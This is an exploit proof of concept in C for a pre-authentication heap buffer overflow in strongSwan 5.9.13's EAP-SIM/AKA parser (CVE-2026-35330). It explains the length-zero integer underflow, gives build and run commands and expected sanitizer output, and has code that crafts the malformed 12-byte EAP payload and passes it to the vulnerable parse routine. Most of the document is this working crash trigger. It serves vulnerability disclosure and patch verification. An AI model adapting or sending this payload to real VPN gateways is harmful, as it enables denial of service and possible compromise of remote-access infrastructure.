* Exploit Title: strongSwan 5.9.13 - heap buffer overflow * Date: 2026-05-13 * Exploit Author: Lukas Johannes Moeller * Vendor Homepage: https://www.strongswan.org/ * Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2 * Version: strongSwan <= 5.9.13 (eap-sim or eap-aka plugin built) * Tested on: Debian 12 bookworm, libsimaka.so.0.0.0 + libstrongswan.so.0.0.0 * from upstream strongswan-5.9.13 tarball (no distro patches). * CVE: CVE-2026-35330 * References: * https://github.com/strongswan/strongswan/commit/aa5aaebc33 * https://nvd.nist.gov/vuln/detail/CVE-2026-35330 * https://github.com/JohannesLks/CVE-2026-35330 * * Description: * parse_attributes() in src/libsimaka/simaka_message.c computes * attribute data length as `hdr->length * 4 - 4` without guarding * against `hdr->length == 0`. For length == 0 the validation * `hdr->length * 4 > in.len` evaluates `0 > in.len` (false on any * non-empty input), so the check passes. The chunk length then * underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to * add_attribute(), which performs `malloc(sizeof(attr_t) + data.len)` * -> `malloc(16 + 0xFFFFFFFFFFFFFFFC)` -> a 12-byte allocation, * followed by an oversized memcpy. Under ASan this is a clean * heap-buffer-overflow WRITE; under glibc it is an immediate * SIGSEGV inside production code as soon as memcpy walks off the * end of the 12-byte chunk into unmapped memory. * * The bug is pre-auth: an EAP-SIM/AKA payload reaches * parse_attributes() inside IKE_AUTH before any peer authentication * has completed. * * Build: * gcc -fsanitize=address -g -O0 \ * -I/path/to/strongswan-5.9.13/src/libsimaka \ * -I/path/to/strongswan-5.9.13/src/libstrongswan \ * -include /path/to/strongswan-5.9.13/config.h \ * strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \ * -L/usr/lib/ipsec -Wl,-rpath,/usr/lib/ipsec \ * -lsimaka -lstrongswan -o sim-aka-oob * * (The /usr/lib/ipsec rpath points the loader at the installed * strongSwan libraries. Headers come from the source tree because * simaka_message.h is not installed system-wide.) * * Run: * ./sim-aka-oob * * Expected output on a vulnerable strongSwan (<= 5.9.13): * AddressSanitizer: heap-buffer-overflow ... WRITE of size 8 * #0 ... in __asan_memcpy * #1 ... in parse_attributes ... simaka_message.c * #2 ... in parse ... simaka_message.c * #3 ... in main ... this file * * Without ASan you should see a SIGSEGV; on a patched strongSwan * (master >= aa5aaebc33) parse() returns FALSE and the program * prints "parse() returned FALSE (patched)". * * Disclaimer: * For authorized testing and defensive research only. Do not use * against systems you do not own or have explicit permission to * test. */ #include #include #include #include #include #include #include #include /* EAP codes (RFC 3748) */ #define EAP_REQUEST 1 #define EAP_RESPONSE 2 /* EAP types */ #define EAP_TYPE_SIM 18 /* EAP-SIM subtypes (RFC 4186) */ #define SIM_CHALLENGE 11 /* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */ #define AT_RAND 1 int main(void) { chunk_t data; simaka_message_t *msg; uint8_t payload[12]; if (!library_init(NULL, "exploit-35330")) { fprintf(stderr, "[!] library_init() failed\n"); library_deinit(); return 1; } /* * EAP-SIM header (8 bytes): * byte 0: code = 2 (EAP_RESPONSE) * byte 1: id = 0x42 * bytes 2-3: length = htons(12) * byte 4: type = 18 (EAP-SIM) * byte 5: subtype = 11 (SIM_CHALLENGE) * bytes 6-7: reserved * * AT_RAND attribute header (4 bytes): * byte 8: type = 1 (AT_RAND) * byte 9: length = 0 <-- triggers underflow: * hdr->length * 4 - 4 = -4 -> SIZE_MAX-3 * bytes 10-11: reserved */ payload[0] = EAP_RESPONSE; payload[1] = 0x42; payload[2] = 0x00; payload[3] = 12; payload[4] = EAP_TYPE_SIM; payload[5] = SIM_CHALLENGE; payload[6] = 0x00; payload[7] = 0x00; payload[8] = AT_RAND; payload[9] = 0; /* the bug */ payload[10] = 0x00; payload[11] = 0x00; data = chunk_create(payload, sizeof(payload)); printf("[*] payload (%zu bytes): ", data.len); for (size_t i = 0; i < data.len; i++) { printf("%02x ", payload[i]); } printf("\n[*] EAP-SIM header: code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n"); printf("[*] AT_RAND header: type=1 length=0 <-- triggers underflow\n\n"); msg = simaka_message_create_from_payload(data, NULL); if (!msg) { fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL" " -- header rejected\n"); library_deinit(); return 2; } printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg); printf("[*] calling msg->parse(msg) --" " expecting heap-buffer-overflow inside parse_attributes()...\n"); fflush(stdout); if (msg->parse(msg)) { printf("[?] parse() returned TRUE -- unexpected\n"); } else { printf("[+] parse() returned FALSE (patched) -- attribute rejected\n"); } msg->destroy(msg); library_deinit(); return 0; }